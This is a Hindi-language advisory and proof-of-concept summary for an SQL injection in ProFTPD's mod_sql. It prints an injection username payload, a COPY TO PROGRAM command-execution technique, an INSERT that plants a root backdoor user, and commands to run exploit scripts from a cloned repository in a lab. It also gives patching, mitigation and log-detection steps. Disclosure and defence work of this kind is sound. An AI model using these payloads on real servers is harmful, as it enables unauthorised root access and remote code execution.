
CVE-2026-42167 के लिए तकनीकी विश्लेषण और प्रूफ-ऑफ-कॉन्सेप्ट, जो ProFTPD mod_sql में एक गंभीर SQL इंजेक्शन है, जो प्रमाणीकरण बायपास, बैकडोर उपयोगकर्ता इंजेक्शन और रिमोट कोड निष्पादन को सक्षम बनाता है।
| विशेषता | मान |
|---|
| प्रकार | SQL इंजेक्शन (CWE-89) |
| गंभीरता | उच्च/गंभीर |
| CVSS v3 | 8.1 |
| घटक | ProFTPD < 1.3.9a में mod_sql |
| रिपोर्टकर्ता | ZeroPath Research |
| दिनांक | 28 अप्रैल 2026 |
is_escaped_text() में कमजोर सत्यापनProFTPD यह निर्धारित करने के लिए is_escaped_text() फ़ंक्शन का उपयोग करता है कि SQL क्वेरी में डालने से पहले कोई मान पहले से सैनिटाइज़ किया गया है या नहीं। फ़ंक्शन मानता है कि कोई भी इनपुट जो:
' से शुरू होता है' के साथ समाप्त होता है...पहले से एस्केप किया जा चुका है और अतिरिक्त प्रोसेसिंग की आवश्यकता नहीं है।
एक हमलावर निम्नलिखित दुर्भावनापूर्ण उपयोगकर्ता नाम भेज सकता है:
USER ' || (SELECT 1) ||'
जब इसे SQL क्वेरी में डाला जाता है जैसे:
INSERT "'%U', '%r', '%m'" activity_log
तो यह उत्पन्न होता है:
INSERT "'' || (SELECT 1) || ''" activity_log
पेलोड मनमाना SQL के रूप में निष्पादित होता है क्योंकि || ऑपरेटर इंजेक्ट किए गए कमांड के चारों ओर खाली स्ट्रिंग्स को जोड़ते हैं।
आवश्यकताएँ:
%U या %{basename} वेरिएबल्स के साथ SQL लॉगिंग सक्षमतकनीक:
COPY (SELECT 1) TO PROGRAM 'दुर्भावनापूर्ण_कमांड'
postgres उपयोगकर्ता के रूप में ऑपरेटिंग सिस्टम स्तर पर कमांड निष्पादित करता है।
आवश्यकताएँ:
SQLAuthenticate सक्षमSQLLog ERR_* (प्री-प्रमाणीकरण) में %U वेरिएबल के साथ SQL लॉगिंगतकनीक:
INSERT INTO users (username, password, uid, homedir)
VALUES ('attacker', 'password_hash', 0, '/')
हमलावर uid=0 (रूट) और पूरे फ़ाइल सिस्टम तक पहुंच के साथ एक बैकडोर उपयोगकर्ता इंजेक्ट करता है।
आवश्यकताएँ:
तकनीक: क्रेडेंशियल्स को वर्ण-दर-वर्ण निकालने के लिए समय-आधारित ब्लाइंड SQL इंजेक्शन।
| वेरिएबल | अर्थ | दायरा |
|---|---|---|
%U | मूल उपयोगकर्ता नाम (प्रमाणीकरण से पहले) | प्री-ऑथ |
%A | अनाम लॉगिन पासवर्ड | प्री-ऑथ |
%J | कमांड पैरामीटर | प्री-ऑथ |
%m | FTP वर्ब (STOR, RETR, आदि) | प्री-ऑथ |
%{basename} | फ़ाइल नाम घटक | पोस्ट-ऑथ |
%l | ident प्रतिक्रिया (RFC 1413) | प्री-ऑथ (यदि identd उपलब्ध है) |
प्री-प्रमाणीकरण (सबसे गंभीर):
%U + SQLLog ERR_* → कोई क्रेडेंशियल आवश्यक नहीं
पोस्ट-प्रमाणीकरण:
%{basename} + SQLLog STOR → किसी भी मान्य FTP उपयोगकर्ता की आवश्यकता है
तुरंत ProFTPD 1.3.9a या उच्चतर में अपडेट करें:
# वर्तमान संस्करण जांचें
proftpd -v
# अपडेट करें (Debian/Ubuntu के लिए उदाहरण)
sudo apt-get update
sudo apt-get install proftpd-basic=1.3.9a-1
यदि आप तुरंत अपडेट नहीं कर सकते:
# proftpd.conf में इन पंक्तियों को कमेंट या हटा दें
# SQLLog * log_activity
# SQLLog ERR_* log_activity
-- PostgreSQL में, सुपरयूज़र विशेषाधिकारों के बिना उपयोगकर्ता बनाएं
CREATE USER proftpd_user WITH PASSWORD 'secure_password';
GRANT SELECT, INSERT ON activity_log TO proftpd_user;
-- SUPERUSER प्रदान न करें
TraceLog /var/log/proftpd/trace.log
Trace sql:17
ProFTPD ट्रेस लॉग्स में खोजें (Trace sql:17 सक्षम के साथ):
text 'payload' is already escaped, skipping escaping it again
यह संदेश इंगित करता है कि एक बायपास प्रयास कमजोर इंजन द्वारा संसाधित किया गया है।
# विस्तृत ट्रेस सक्षम करें
echo "Trace sql:17" >> /etc/proftpd/proftpd.conf
# ProFTPD पुनरारंभ करें
sudo systemctl restart proftpd
# लॉग्स की निगरानी करें
tail -f /var/log/proftpd/trace.log | grep "already escaped"
| संस्करण | स्थिति |
|---|---|
| < 1.3.9 | ❌ कमजोर |
| 1.3.9 | ❌ कमजोर |
| ≥ 1.3.9a | ✅ पैच किया गया |
| ≥ 1.3.10rc1 | ✅ पैच किया गया |
# रिपॉजिटरी क्लोन करें
git clone https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc.git
cd proftpd-CVE-2026-42167-poc
# आवश्यकताएँ
# - Docker
# - Git
# - Python 3.10+
# - uv (Python पैकेज मैनेजर)
# कमजोर वातावरण सेट करें
cd setup
./setup.sh
# PoCs चलाएं
cd ../pocs
python3 preauth_user_backdoor.py # बैकडोर उपयोगकर्ता इंजेक्ट करें (प्री-ऑथ)
python3 preauth_user_rce.py # COPY TO PROGRAM के माध्यम से RCE (प्री-ऑथ)
python3 postauth_stor_backdoor.py # उपयोगकर्ता इंजेक्ट करें (पोस्ट-ऑथ)
python3 postauth_stor_rce.py # RCE (पोस्ट-ऑथ)
# साफ करें
cd ../setup
./teardown.sh
| दिनांक | घटना |
|---|---|
| 2026-03-28 | भेद्यता ProFTPD को रिपोर्ट की गई |
| 2026-04-07 | सत्यापन और पैच विकास |
| 2026-04-24 | CVE-2026-42167 आवंटित |
| 2026-04-27 | पैच जारी (कमिट af90843baf7dcb8c6be1e5261be2d0b5b5850673) |
| 2026-04-27 | ProFTPD 1.3.9a जारी |
SQLLog कॉन्फ़िगरेशन की समीक्षा करेंअंतिम अपडेट: 28 अप्रैल 2026
स्रोत: ZeroPath Research, MITRE CVE, NVD